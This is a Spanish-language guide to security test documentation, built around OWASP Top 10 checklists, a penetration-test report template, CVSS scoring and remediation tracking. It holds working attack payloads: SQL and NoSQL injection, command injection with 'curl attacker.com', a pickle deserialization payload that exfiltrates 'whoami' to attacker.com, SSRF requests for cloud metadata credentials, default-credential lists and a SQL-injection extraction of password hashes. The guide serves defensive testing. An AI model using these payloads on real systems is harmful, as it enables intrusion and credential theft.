Introducción a la Documentación de Pruebas de Seguridad
La documentación de pruebas de seguridad es la piedra angular de una estrategia robusta de ciberseguridad. A diferencia de las pruebas funcionales que validan que las características funcionan correctamente, las pruebas de seguridad aseguran que esas características no puedan ser explotadas maliciosamente. La documentación integral de seguridad proporciona evidencia de debida diligencia, rastrea la remediación de vulnerabilidades y crea una pista de auditoría para requisitos de cumplimiento.
Esta guía cubre el espectro completo de documentación de pruebas de seguridad, desde checklists basados en OWASP hasta informes de pruebas de penetración, evaluaciones de vulnerabilidades y seguimiento de remediación.
Comprendiendo los Objetivos de las Pruebas de Seguridad
Las pruebas de seguridad buscan identificar vulnerabilidades antes de que los atacantes las exploten. Los objetivos primarios incluyen:
Metas Principales de Pruebas de Seguridad
- Identificar Vulnerabilidades: Descubrir debilidades de seguridad en aplicaciones, infraestructura y procesos
- Evaluar Riesgos: Evaluar la probabilidad e impacto de exploits potenciales
- Validar Controles: Verificar que las medidas de seguridad funcionen según lo diseñado
- Asegurar Cumplimiento: Cumplir requisitos regulatorios (GDPR, PCI-DSS, HIPAA, SOC 2)
- Documentar Evidencia: Crear pistas de auditoría para la postura de seguridad
- Impulsar Remediación: Proporcionar insights accionables para corregir vulnerabilidades
Tipos de Pruebas de Seguridad
Tipo de Prueba | Propósito | Alcance | Frecuencia Típica |
---|---|---|---|
Evaluación de Vulnerabilidades | Identificar vulnerabilidades conocidas | Escaneo automatizado de sistemas | Semanal/Mensual |
Pruebas de Penetración | Simular ataques del mundo real | Intentos de explotación manual | Trimestral/Anual |
Revisión de Código de Seguridad | Encontrar fallas de seguridad en código fuente | Análisis estático + revisión manual | Por release |
Revisión de Configuración | Verificar configuraciones seguras | Infraestructura, bases de datos, servicios | Trimestral |
Pruebas de Autenticación | Validar controles de acceso | Login, SSO, MFA, gestión de sesiones | Por release |
Pruebas de Seguridad API | Probar vulnerabilidades específicas de API | Endpoints, autenticación, rate limiting | Por release |
Framework de Pruebas OWASP Top 10
El OWASP (Open Web Application Security Project) Top 10 representa los riesgos de seguridad más críticos para aplicaciones web. Este framework proporciona un enfoque estandarizado para pruebas de seguridad.
OWASP Top 10 (Edición 2021)
A01:2021 - Control de Acceso Roto
Descripción: Los usuarios pueden actuar fuera de sus permisos previstos.
Checklist de Pruebas:
## A01: Pruebas de Control de Acceso Roto
### Escalación Horizontal de Privilegios
- [ ] Probar acceso a recursos de otros usuarios modificando IDs de usuario en URLs
- [ ] Intentar ver/modificar perfiles, órdenes o datos de otros usuarios
- [ ] Probar vulnerabilidades de referencia directa a objetos (IDOR)
- [ ] Verificar que endpoints API apliquen acceso específico por usuario
**Ejemplo de Caso de Prueba:**
```http
# Solicitud normal
GET /api/users/123/orders HTTP/1.1
Authorization: Bearer <token-usuario123>
# Intento de ataque - acceder a órdenes del usuario 456 con token del usuario 123
GET /api/users/456/orders HTTP/1.1
Authorization: Bearer <token-usuario123>
Esperado: HTTP 403 Forbidden
Real: [DOCUMENTAR RESULTADO]
Escalación Vertical de Privilegios
- Probar acceso a funciones de admin con cuenta de usuario regular
- Intentar modificar roles o permisos de usuario
- Probar bypass de autenticación para recursos protegidos
- Verificar aplicación de control de acceso basado en roles (RBAC)
Ejemplo de Caso de Prueba:
# Intento de ataque - usuario regular accediendo a endpoint de admin
GET /api/admin/users HTTP/1.1
Authorization: Bearer <token-usuario-regular>
Esperado: HTTP 403 Forbidden
Real: [DOCUMENTAR RESULTADO]
Control de Acceso Faltante a Nivel de Función
- Probar interfaces de admin ocultas (ej., /admin, /administrator)
- Verificar endpoints API expuestos sin autenticación
- Verificar protección de navegación forzada
- Probar acceso a páginas de debug/diagnóstico
Ejemplo de Vulnerabilidad:
URL: https://example.com/admin/delete-user?id=123
Método: POST
Autenticación: No requerida ❌
Impacto: CRÍTICO - Eliminación de usuarios sin autenticación
#### A02:2021 - Fallas Criptográficas
**Descripción:** Fallas relacionadas con criptografía que a menudo conducen a exposición de datos sensibles.
**Checklist de Pruebas:**
```markdown
## A02: Pruebas de Fallas Criptográficas
### Datos en Tránsito
- [ ] Verificar que HTTPS esté forzado en todas las páginas
- [ ] Probar advertencias de contenido mixto
- [ ] Verificar configuración TLS/SSL (mínimo TLS 1.2)
- [ ] Verificar header HTTP Strict Transport Security (HSTS)
- [ ] Probar validez de certificado y cadena de confianza
**Comandos de Prueba:**
```bash
# Verificar versión TLS
openssl s_client -connect example.com:443 -tls1_1
# Debería fallar si TLS 1.1 está deshabilitado (seguro)
# Verificar header HSTS
curl -I https://example.com | grep -i strict-transport-security
# Esperado: Strict-Transport-Security: max-age=31536000; includeSubDomains
Datos en Reposo
- Verificar que datos sensibles estén cifrados en base de datos
- Verificar almacenamiento de contraseñas (bcrypt, Argon2, no MD5/SHA1)
- Probar cifrado de respaldos
- Verificar prácticas de gestión de claves de cifrado
Ejemplo de Verificación de Base de Datos:
-- Verificar si contraseñas están hasheadas (no texto plano)
SELECT username, password FROM users LIMIT 5;
-- Esperado: Valores hasheados como $2b$12$abc123...
-- ❌ CRÍTICO: Si contraseñas son texto plano legible
Datos Sensibles en Logs
- Verificar logs de aplicación para datos sensibles (contraseñas, tokens, PII)
- Verificar que mensajes de error no expongan información sensible
- Probar que respuestas API no filtren detalles internos
Checklist de Revisión de Logs:
# Buscar datos sensibles en logs
grep -r "password" /var/log/application/
grep -r "token" /var/log/application/
grep -r "ssn\|credit_card" /var/log/application/
# ✅ APROBADO: No se encontraron datos sensibles
# ❌ FALLO: Encontrado "user_password=secret123" en app.log
#### A03:2021 - Inyección
**Descripción:** Los datos proporcionados por el usuario no son validados, filtrados o sanitizados por la aplicación.
**Checklist de Pruebas:**
```markdown
## A03: Pruebas de Inyección
### Inyección SQL
- [ ] Probar todos los campos de entrada con payloads de inyección SQL
- [ ] Verificar que se usen consultas parametrizadas/declaraciones preparadas
- [ ] Probar inyección SQL basada en errores, ciega y basada en tiempo
**Payloads de Prueba de Inyección SQL:**
```sql
# Intentos básicos de inyección
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin'--
' UNION SELECT NULL, NULL, NULL--
# Inyección ciega basada en tiempo
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
# Probar en varios parámetros
- URL: ?id=1' OR '1'='1
- POST body: username=' OR '1'='1'--&password=anything
- JSON: {"search": "' OR '1'='1"}
Plantilla de Reporte de Vulnerabilidad:
### Vulnerabilidad de Inyección SQL
**Severidad:** CRÍTICA
**Ubicación:** /api/products/search
**Parámetro:** query
**Payload:** `' OR '1'='1' --`
**Prueba de Concepto:**
```bash
curl -X POST https://example.com/api/products/search \
-H "Content-Type: application/json" \
-d '{"query": "test'\'' OR '\''1'\''='\''1"}'
Respuesta: Retorna todos los productos (bypassing filtro de búsqueda) Impacto: Violación de datos - acceso no autorizado a toda la base de datos de productos Remediación: Usar consultas parametrizadas con declaraciones preparadas
### Inyección NoSQL
- [ ] Probar inyección MongoDB (ej., `{"$gt": ""}`)
- [ ] Verificar sanitización de entrada para bases de datos NoSQL
- [ ] Probar inyección de operadores
**Payloads de Inyección NoSQL:**
```javascript
// Ejemplos de inyección MongoDB
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "sleep(5000)"}
// Probar en endpoint de login
POST /api/login
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
// Esperado: Fallo de login
// ❌ CRÍTICO: Si autenticación es bypasseada
Inyección de Comandos
- Probar inyección de comandos OS en operaciones de archivo
- Verificar validación de entrada para llamadas al sistema
- Probar vulnerabilidades de inyección de código
Payloads de Inyección de Comandos:
# Probar en campos de nombre de archivo o parámetros del sistema
; ls -la
| whoami
`cat /etc/passwd`
$(curl attacker.com)
& ping -c 10 127.0.0.1 &
# Ejemplo de endpoint vulnerable
GET /api/export?filename=report.pdf; cat /etc/passwd
#### A04:2021 - Diseño Inseguro
**Descripción:** Diseño de control de seguridad faltante o inefectivo.
**Checklist de Pruebas:**
```markdown
## A04: Pruebas de Diseño Inseguro
### Fallas de Lógica de Negocio
- [ ] Probar manipulación de precios en e-commerce
- [ ] Verificar que procesamiento secuencial no pueda ser bypasseado
- [ ] Probar condiciones de carrera en transacciones financieras
- [ ] Verificar vulnerabilidades de bypass de flujo de trabajo
**Ejemplo: Prueba de Manipulación de Precio**
```http
# Solicitud de compra normal
POST /api/checkout
{
"product_id": 123,
"quantity": 1,
"price": 99.99
}
# Ataque: Modificar precio en solicitud
POST /api/checkout
{
"product_id": 123,
"quantity": 1,
"price": 0.01 ← Controlado por atacante
}
Esperado: Servidor valida precio desde base de datos
❌ CRÍTICO: Si precio suministrado por cliente es aceptado
Limitación de Tasa y Protección DoS
- Probar limitación de tasa faltante en endpoints API
- Verificar CAPTCHA en operaciones sensibles
- Probar vulnerabilidades de agotamiento de recursos
- Verificar mecanismos de bloqueo de cuenta
Prueba de Limitación de Tasa:
# Enviar 1000 solicitudes en 10 segundos
for i in {1..1000}; do
curl -X POST https://example.com/api/login \
-d "username=test&password=test" &
done
Esperado: 429 Too Many Requests después del umbral
✅ APROBADO: Límite de tasa aplicado después de 10 solicitudes/minuto
❌ FALLO: Sin limitación de tasa - todas las 1000 solicitudes procesadas
Anti-Automatización Insuficiente
- Probar protección anti-bot faltante
- Verificar medidas anti-scraping
- Probar prevención de credential stuffing
#### A05:2021 - Mala Configuración de Seguridad
**Descripción:** Mala configuración de seguridad o configuraciones predeterminadas inseguras.
**Checklist de Pruebas:**
```markdown
## A05: Pruebas de Mala Configuración de Seguridad
### Características Innecesarias Habilitadas
- [ ] Verificar listado de directorios habilitado
- [ ] Probar interfaces de admin expuestas
- [ ] Verificar que modo debug esté deshabilitado en producción
- [ ] Verificar métodos HTTP innecesarios habilitados
**Prueba de Listado de Directorios:**
```bash
# Probar listado de directorios
curl https://example.com/uploads/
curl https://example.com/admin/
curl https://example.com/backup/
✅ APROBADO: 403 Forbidden o página de error personalizada
❌ FALLO: Contenido de directorio listado (index of /uploads/)
Credenciales Predeterminadas
- Probar credenciales admin predeterminadas (admin/admin, root/root)
- Verificar contraseñas de base de datos predeterminadas
- Verificar que claves API predeterminadas estén cambiadas
Lista de Prueba de Credenciales Predeterminadas:
admin:admin
administrator:administrator
root:root
admin:password
admin:123456
sa:sa (SQL Server)
postgres:postgres
Headers de Seguridad
- Verificar header Content-Security-Policy (CSP)
- Verificar header X-Frame-Options
- Verificar X-Content-Type-Options: nosniff
- Verificar header X-XSS-Protection
Validación de Headers de Seguridad:
curl -I https://example.com | grep -E "Content-Security-Policy|X-Frame-Options|X-Content-Type-Options"
Headers Esperados:
✅ Content-Security-Policy: default-src 'self'
✅ X-Frame-Options: DENY
✅ X-Content-Type-Options: nosniff
✅ X-XSS-Protection: 1; mode=block
❌ FALLO: Headers de seguridad faltantes
Manejo de Errores
- Verificar que mensajes de error no revelen información sensible
- Verificar stack traces en producción
- Probar mensajes de error verbosos
Prueba de Mensaje de Error:
# Disparar error con entrada inválida
curl https://example.com/api/user/abc123xyz
❌ Respuesta MALA:
{
"error": "SQLException: columna 'user_id' espera integer en línea 47 en UserController.java",
"stack_trace": "..."
}
✅ Respuesta BUENA:
{
"error": "Formato de ID de usuario inválido",
"error_code": "USER_400"
}
#### A06:2021 - Componentes Vulnerables y Desactualizados
**Checklist de Pruebas:**
```markdown
## A06: Pruebas de Componentes Vulnerables
### Escaneo de Dependencias
- [ ] Ejecutar escaneo automatizado de dependencias (npm audit, OWASP Dependency-Check)
- [ ] Verificar que no haya componentes con vulnerabilidades críticas conocidas
- [ ] Verificar bibliotecas y frameworks desactualizados
**Comandos de Escaneo de Dependencias:**
```bash
# Proyectos Node.js
npm audit
npm audit --audit-level=high
# Proyectos Python
pip-audit
safety check
# Proyectos Java
mvn dependency-check:check
# General
docker run --rm -v $(pwd):/src owasp/dependency-check \
--scan /src --format HTML --out /src/dependency-report.html
Divulgación de Versión
- Verificar headers HTTP para información de versión
- Probar versión de framework/servidor en mensajes de error
- Verificar que páginas predeterminadas no revelen versiones
Prueba de Divulgación de Versión:
curl -I https://example.com
❌ MALO:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.2.24
✅ BUENO:
Server: nginx
# (Sin versión divulgada)
#### A07:2021 - Fallas de Identificación y Autenticación
**Checklist de Pruebas:**
```markdown
## A07: Pruebas de Fallas de Autenticación
### Política de Contraseñas
- [ ] Probar aceptación de contraseñas débiles
- [ ] Verificar requisitos de complejidad de contraseña
- [ ] Verificar aplicación de historial de contraseñas
- [ ] Probar seguridad del mecanismo de restablecimiento de contraseña
**Prueba de Contraseña Débil:**
```bash
# Probar creación de cuenta con contraseñas débiles
curl -X POST https://example.com/api/register \
-d '{"username":"test","password":"123456"}'
✅ APROBADO: Contraseña rechazada - mínimo 12 caracteres, complejidad requerida
❌ FALLO: Cuenta creada con contraseña "123456"
Gestión de Sesiones
- Probar vulnerabilidades de fijación de sesión
- Verificar configuración de timeout de sesión
- Verificar flags seguros de cookies de sesión
- Probar manejo de sesiones concurrentes
Seguridad de Cookie de Sesión:
curl -I https://example.com/login
Atributos Esperados de Cookie:
Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Strict; Max-Age=1800
✅ Secure: Solo HTTPS
✅ HttpOnly: No accesible vía JavaScript
✅ SameSite: Protección CSRF
✅ Max-Age: Timeout de 30 minutos
❌ FALLO: Set-Cookie: session_id=abc123 (flags de seguridad faltantes)
Autenticación Multi-Factor (MFA)
- Probar intentos de bypass de MFA
- Verificar seguridad de códigos de respaldo
- Probar vulnerabilidades de inscripción MFA
- Verificar fallas de implementación TOTP
Prueba de Bypass de MFA:
# Intentar acceder a recurso protegido sin completar MFA
POST /api/login
{"username":"admin","password":"contraseña_correcta"}
Respuesta: {"mfa_required": true, "session_token": "temp123"}
# Ataque: Usar token de sesión temp directamente para recurso protegido
GET /api/admin/dashboard
Authorization: Bearer temp123
Esperado: 401 Unauthorized - MFA no completado
❌ CRÍTICO: Si acceso es otorgado sin verificación MFA
Protección Contra Credential Stuffing
- Probar bloqueo de cuenta después de intentos fallidos
- Verificar CAPTCHA en formularios de login
- Verificar detección de contraseñas comprometidas
#### A08:2021 - Fallas de Integridad de Software y Datos
**Checklist de Pruebas:**
```markdown
## A08: Pruebas de Fallas de Integridad
### Deserialización Insegura
- [ ] Probar deserialización insegura en APIs
- [ ] Verificar validación de entrada para objetos serializados
- [ ] Verificar ejecución remota de código vía deserialización
**Prueba de Ataque de Deserialización:**
```python
# Prueba de deserialización pickle de Python
import pickle
import base64
# Payload malicioso
class RCE:
def __reduce__(self):
import os
return (os.system, ('curl attacker.com?data=$(whoami)',))
payload = base64.b64encode(pickle.dumps(RCE()))
# Enviar a endpoint vulnerable
curl -X POST https://example.com/api/import \
-H "Content-Type: application/json" \
-d "{\"data\": \"${payload}\"}"
Esperado: Validación de entrada rechaza datos inseguros
❌ CRÍTICO: Si ocurre ejecución de código
Actualizaciones Sin Firmar/Verificar
- Verificar que actualizaciones de software usen firmas digitales
- Verificar mecanismos seguros de actualización
- Probar verificación de fuente de actualización
Seguridad de Pipeline CI/CD
- Verificar integridad de artefactos en pipeline de build
- Verificar secretos en control de código fuente
- Probar modificaciones no autorizadas de pipeline
#### A09:2021 - Fallas de Logging y Monitoreo de Seguridad
**Checklist de Pruebas:**
```markdown
## A09: Pruebas de Logging y Monitoreo
### Logging de Eventos de Seguridad
- [ ] Verificar que intentos de login fallidos sean registrados
- [ ] Verificar logging de intentos de escalación de privilegios
- [ ] Probar pista de auditoría para operaciones sensibles
- [ ] Verificar protección contra manipulación de logs
**Checklist de Verificación de Logs:**
```bash
# Eventos que DEBEN ser registrados:
✅ Intentos de autenticación fallidos
✅ Autenticación exitosa (con ID de usuario)
✅ Cambios de contraseña
✅ Cambios de permisos/roles
✅ Acceso a datos sensibles
✅ Fallos de validación de entrada
✅ Errores y excepciones del sistema
# Eventos que NO DEBEN ser registrados:
❌ Contraseñas o tokens
❌ Números de tarjetas de crédito
❌ Identificadores de sesión
❌ Información de Identificación Personal (PII)
Inyección de Logs
- Probar vulnerabilidades de inyección de logs
- Verificar sanitización de entrada en entradas de log
- Verificar inyección CRLF en logs
Prueba de Inyección de Logs:
# Ataque: Inyectar entrada falsa de log
username: admin%0A[2025-10-08 12:00:00] SUCCESS: Usuario admin inició sesión
# Si vulnerable, logs mostrarán:
[2025-10-08 11:59:55] FAILED: Intento de login para usuario: admin
[2025-10-08 12:00:00] SUCCESS: Usuario admin inició sesión ← Entrada falsa
Mecanismos de Alerta
- Verificar que alertas de seguridad estén configuradas
- Probar entrega de alertas para eventos críticos
- Verificar fatiga de alertas (demasiadas alertas)
#### A10:2021 - Server-Side Request Forgery (SSRF)
**Checklist de Pruebas:**
```markdown
## A10: Pruebas SSRF
### Acceso a Recursos Internos
- [ ] Probar acceso a rangos IP internos (127.0.0.1, 10.x.x.x, 192.168.x.x)
- [ ] Verificar protección de endpoint de metadatos en nube (169.254.169.254)
- [ ] Probar escaneo de puertos internos vía SSRF
**Payloads de Prueba SSRF:**
```bash
# Probar parámetros URL para SSRF
curl "https://example.com/api/fetch?url=http://localhost:8080/admin"
curl "https://example.com/api/fetch?url=http://127.0.0.1:22"
curl "https://example.com/api/fetch?url=http://192.168.1.1"
# Ataque de metadatos AWS
curl "https://example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Esperado: Solicitud bloqueada o filtrada
❌ CRÍTICO: Si recursos internos son accesibles
DNS Rebinding
- Probar vulnerabilidades de DNS rebinding
- Verificar límites de resolución DNS
Seguimiento de Redirección
- Probar redirección abierta a recursos internos
- Verificar validación de destino de redirección
## Estructura de Informe de Pruebas de Penetración
Un informe integral de pruebas de penetración documenta hallazgos, evidencia y orientación para remediación.
### Plantilla de Resumen Ejecutivo
```markdown
# Informe de Pruebas de Penetración - Resumen Ejecutivo
## Resumen de Prueba
**Objetivo:** Aplicación Web example.com
**Período de Prueba:** 1-5 de octubre, 2025
**Tipo de Prueba:** Pruebas de Penetración Web de Caja Negra
**Evaluador:** Jane Smith, OSCP, CEH
## Clasificación General de Riesgo: ALTO
### Resumen de Hallazgos
| Severidad | Cantidad | % del Total |
|-----------|----------|-------------|
| Crítica | 3 | 15% |
| Alta | 5 | 25% |
| Media | 8 | 40% |
| Baja | 4 | 20% |
| **Total** | **20** | **100%** |
### Hallazgos Críticos
1. **Inyección SQL en Búsqueda de Productos** (CVSS 9.8)
- Permite acceso completo a base de datos
- Datos de clientes en riesgo
2. **Bypass de Autenticación vía Manipulación JWT** (CVSS 9.1)
- Escalación de privilegios a rol admin
- Compromiso completo del sistema posible
3. **Ejecución Remota de Código vía Carga de Archivos** (CVSS 9.6)
- Takeover de servidor posible
- Parche inmediato requerido
### Impacto de Negocio
**Datos en Riesgo:**
- 150,000 registros de clientes (nombres, emails, direcciones)
- 45,000 tokens de tarjetas de pago (últimos 4 dígitos)
- Documentos de negocio internos y código fuente
**Impacto de Cumplimiento:**
- Riesgo de violación GDPR (Artículo 32 - Seguridad del Procesamiento)
- No cumplimiento PCI-DSS (Requisito 6.5)
- Multas potenciales: €20M o 4% de facturación anual
### Recomendaciones Inmediatas
1. Desconectar funcionalidad de carga de archivos hasta parcheo (Crítico)
2. Implementar consultas parametrizadas para todas las operaciones de BD (Crítico)
3. Fortalecer validación JWT y algoritmo de firma (Crítico)
4. Desplegar Web Application Firewall (WAF) como mitigación temporal (Alto)
5. Iniciar procedimientos de respuesta a incidentes y evaluar por violación (Alto)
## Próximos Pasos
1. Sprint de Remediación (Objetivo: 2 semanas)
2. Re-probar hallazgos Críticos y Altos
3. Implementar pruebas continuas de seguridad
4. Entrenamiento de concienciación de seguridad para equipo de desarrollo
Plantilla de Hallazgo Detallado
# Hallazgo: Inyección SQL en Búsqueda de Productos
## Detalles de Vulnerabilidad
**Severidad:** CRÍTICA
**Puntuación CVSS v3.1:** 9.8 (Crítico)
**Vector CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-89: Neutralización Impropia de Elementos Especiales usados en Comando SQL
**OWASP:** A03:2021 - Inyección
## Componente Afectado
**URL:** https://example.com/api/products/search
**Parámetro:** `query`
**Método HTTP:** POST
**Autenticación Requerida:** No
## Descripción
El endpoint de búsqueda de productos es vulnerable a inyección SQL debido a concatenación directa de entrada de usuario en consultas SQL sin sanitización o parametrización apropiada. Un atacante puede inyectar comandos SQL maliciosos para extraer, modificar o eliminar datos de la base de datos.
## Prueba de Concepto
### Explotación Paso a Paso
1. **Solicitud Normal:**
```bash
curl -X POST https://example.com/api/products/search \
-H "Content-Type: application/json" \
-d '{"query": "laptop"}'
Respuesta: [Lista de productos laptop]
- Prueba de Inyección:
curl -X POST https://example.com/api/products/search \
-H "Content-Type: application/json" \
-d '{"query": "laptop'\'' OR '\''1'\''='\''1"}'
Respuesta: [TODOS los productos retornados - bypass confirmado]
- Enumeración de Base de Datos:
curl -X POST https://example.com/api/products/search \
-H "Content-Type: application/json" \
-d '{"query": "'\'' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--"}'
Respuesta: [Nombres de tablas de BD expuestos: users, products, orders, payment_methods]
- Extracción de Datos:
curl -X POST https://example.com/api/products/search \
-H "Content-Type: application/json" \
-d '{"query": "'\'' UNION SELECT email,password_hash,NULL FROM users--"}'
Respuesta: [Credenciales de usuario expuestas - 150,000 registros extraíbles]
Capturas de Evidencia
Análisis de Impacto
Impacto Técnico
- Confidencialidad: ALTA - Acceso completo a base de datos
- Integridad: ALTA - Modificación de datos posible
- Disponibilidad: MEDIA - Base de datos podría ser eliminada
Impacto de Negocio
- Violación de Datos: 150,000 registros de clientes expuestos
- Pérdida Financiera: Estimada $2.5M (multas regulatorias + respuesta a incidente + daño reputacional)
- Cumplimiento: Violación GDPR, no cumplimiento PCI-DSS
- Reputación: Pérdida de confianza del cliente
Escenarios de Ataque
- Robo de Datos: Atacante exporta base de datos completa de clientes
- Cosecha de Credenciales: Credenciales de usuario robadas para takeover de cuenta
- Fraude Financiero: Información de pago accedida
- Ransomware: Base de datos eliminada o cifrada por rescate
Análisis de Causa Raíz
Código Vulnerable (ProductController.java):
public List<Product> searchProducts(String query) {
String sql = "SELECT * FROM products WHERE name LIKE '%" + query + "%'";
// ❌ VULNERABLE: Concatenación directa de string
return jdbcTemplate.query(sql, new ProductRowMapper());
}
Problema: Entrada de usuario (query
) es concatenada directamente en declaración SQL sin validación o parametrización.
Remediación
Corrección Inmediata (Requerida en 24 horas)
Opción 1: Desconectar endpoint
@PostMapping("/api/products/search")
public ResponseEntity<?> searchProducts(@RequestBody SearchRequest request) {
return ResponseEntity.status(503)
.body("Funcionalidad de búsqueda temporalmente no disponible por mantenimiento");
}
Opción 2: Sanitización de entrada (temporal)
public List<Product> searchProducts(String query) {
// Whitelist solo alfanuméricos y espacios
if (!query.matches("^[a-zA-Z0-9\\s]+$")) {
throw new InvalidInputException("Consulta de búsqueda inválida");
}
String sql = "SELECT * FROM products WHERE name LIKE ?";
return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}
Corrección Permanente (Requerida en 1 semana)
Usar Consultas Parametrizadas (Declaraciones Preparadas):
public List<Product> searchProducts(String query) {
String sql = "SELECT * FROM products WHERE name LIKE ?";
// ✅ SEGURO: Consulta parametrizada
return jdbcTemplate.query(sql, new ProductRowMapper(), "%" + query + "%");
}
// Alternativa: Usando JPA/Hibernate
@Query("SELECT p FROM Product p WHERE p.name LIKE %:query%")
List<Product> searchProducts(@Param("query") String query);
Medidas de Seguridad Adicionales
- Validación de Entrada:
@Pattern(regexp = "^[a-zA-Z0-9\\s\\-]+$", message = "Caracteres inválidos en consulta de búsqueda")
private String query;
- Acceso a Base de Datos de Mínimo Privilegio:
-- Crear usuario de solo lectura para aplicación
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'contraseña_fuerte';
GRANT SELECT ON products.* TO 'app_readonly'@'localhost';
FLUSH PRIVILEGES;
- Reglas de Web Application Firewall (WAF):
# Regla ModSecurity para detectar inyección SQL
SecRule ARGS "@detectSQLi" \
"id:1001,phase:2,deny,status:403,msg:'Inyección SQL Detectada'"
- Monitoreo de Actividad de Base de Datos:
# Habilitar logging de consultas para patrones sospechosos
logging:
slow_query_log: ON
log_queries_not_using_indexes: ON
general_log: OFF # (impacto en rendimiento)
Recomendaciones de Pruebas
- Inmediato: Ejecutar escáner automatizado de inyección SQL (SQLMap) en todos los endpoints
- Corto plazo: Revisión de código de seguridad de todas las consultas de base de datos
- Largo plazo: Implementar SAST (Static Application Security Testing) en pipeline CI/CD
- Continuo: Pruebas de penetración regulares (trimestral)
Referencias
- OWASP SQL Injection Prevention Cheat Sheet
- CWE-89: SQL Injection
- NIST SP 800-53: SI-10 Information Input Validation
Criterios de Re-prueba
Vulnerabilidad será considerada corregida cuando:
- Todas las consultas SQL usen declaraciones parametrizadas u ORM
- Validación de entrada implementada con enfoque de whitelist
- Escaneo automatizado de inyección SQL no muestre hallazgos
- Re-prueba manual confirme que intentos de inyección son bloqueados
- Usuario de base de datos tenga privilegios mínimos necesarios
Re-prueba Programada: 20 de octubre, 2025 Asignado A: Equipo de Desarrollo (Backend) Seguimiento: Ticket JIRA SEC-2025-001
## Calificación de Severidad de Vulnerabilidades
### Calculadora CVSS v3.1
El Sistema Común de Puntuación de Vulnerabilidades (CVSS) proporciona una forma estandarizada de calificar la severidad de vulnerabilidades.
**Métricas Base CVSS v3.1:**
| Métrica | Opciones | Ejemplo: Inyección SQL |
|---------|----------|------------------------|
| **Vector de Ataque (AV)** | Red (N), Adyacente (A), Local (L), Físico (P) | Red (N) |
| **Complejidad de Ataque (AC)** | Baja (L), Alta (H) | Baja (L) |
| **Privilegios Requeridos (PR)** | Ninguno (N), Bajo (L), Alto (H) | Ninguno (N) |
| **Interacción de Usuario (UI)** | Ninguno (N), Requerido (R) | Ninguno (N) |
| **Alcance (S)** | Sin cambio (U), Cambiado (C) | Sin cambio (U) |
| **Confidencialidad (C)** | Ninguno (N), Bajo (L), Alto (H) | Alto (H) |
| **Integridad (I)** | Ninguno (N), Bajo (L), Alto (H) | Alto (H) |
| **Disponibilidad (A)** | Ninguno (N), Bajo (L), Alto (H) | Alto (H) |
**Puntuación CVSS de Inyección SQL:**
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Puntuación Base: 9.8 (Crítico)
### Calificaciones de Severidad
| Rango de Puntuación | Severidad | Tiempo de Respuesta | Ejemplos |
|---------------------|-----------|---------------------|----------|
| 9.0 - 10.0 | **Crítica** | 24-48 horas | RCE, Bypass Autenticación, Inyección SQL |
| 7.0 - 8.9 | **Alta** | 1 semana | XSS (almacenado), CSRF, Escalación Privilegios |
| 4.0 - 6.9 | **Media** | 1 mes | Divulgación Información, Headers Seguridad Faltantes |
| 0.1 - 3.9 | **Baja** | Próximo release | Divulgación Versión, Errores Verbosos |
## Seguimiento de Remediación
### Plantilla de Seguimiento de Vulnerabilidades
```markdown
# Rastreador de Remediación de Vulnerabilidades
## Vulnerabilidades Críticas
### VUL-2025-001: Inyección SQL en Búsqueda de Productos
**Estado:** 🔴 Abierto → 🟡 En Progreso → 🟢 Corregido → ✅ Verificado
| Campo | Valor |
|-------|-------|
| Descubierta | 2025-10-01 |
| Severidad | Crítica (CVSS 9.8) |
| Asignado A | Equipo Backend (John Doe) |
| Fecha Objetivo de Corrección | 2025-10-08 |
| Fecha Real de Corrección | 2025-10-07 |
| Fecha de Re-prueba | 2025-10-09 |
| Estado | ✅ Verificado Corregido |
**Acciones de Remediación:**
- [x] Parche de emergencia desplegado (2025-10-02)
- [x] Consultas parametrizadas implementadas (2025-10-07)
- [x] Validación de entrada añadida (2025-10-07)
- [x] Permisos de base de datos restringidos (2025-10-07)
- [x] Reglas WAF desplegadas (2025-10-03)
- [x] Pruebas de seguridad pasadas (2025-10-09)
**Verificación:**
- Escaneo automatizado: ✅ Sin inyección SQL detectada
- Re-prueba manual: ✅ Todos los intentos de ataque bloqueados
- Revisión de código: ✅ Aprobado por arquitecto de seguridad
---
### VUL-2025-002: Bypass de Autenticación vía JWT
**Estado:** 🟡 En Progreso
| Campo | Valor |
|-------|-------|
| Descubierta | 2025-10-01 |
| Severidad | Crítica (CVSS 9.1) |
| Asignado A | Equipo Autenticación (Jane Smith) |
| Fecha Objetivo de Corrección | 2025-10-10 |
| Estado Actual | Corrección en desarrollo |
**Acciones de Remediación:**
- [x] Algoritmo JWT cambiado de HS256 a RS256 (2025-10-05)
- [x] Expiración de token reducida de 24h a 1h (2025-10-05)
- [ ] Mecanismo de refresh token implementado (En Progreso)
- [ ] Sistema de revocación de tokens (Planificado)
- [ ] Pruebas de seguridad (Pendiente)
**Bloqueadores:**
- Esperando que equipo de infraestructura aprovisione Redis para blacklist de tokens
**Próximos Pasos:**
- Completar implementación de refresh token (2025-10-08)
- Desplegar a staging para pruebas (2025-10-09)
- Re-prueba de seguridad (2025-10-10)
Herramientas de Pruebas de Seguridad
Herramientas de Escaneo de Seguridad Automatizado
Herramienta | Tipo | Mejor Para | Costo |
---|---|---|---|
OWASP ZAP | DAST | Escaneo de apps web | Gratis |
Burp Suite | DAST | Pruebas manuales + automatizadas | Gratis/Pago |
Nmap | Red | Escaneo de puertos, detección de servicios | Gratis |
Nikto | Escáner Web | Vulnerabilidades de servidor web | Gratis |
SQLMap | Especializado | Pruebas de inyección SQL | Gratis |
Metasploit | Explotación | Framework de pruebas de penetración | Gratis/Pago |
Nessus | Escáner Vulnerabilidades | Escaneo de infraestructura | Pago |
Acunetix | DAST | Seguridad de aplicaciones web | Pago |
SonarQube | SAST | Calidad de código + seguridad | Gratis/Pago |
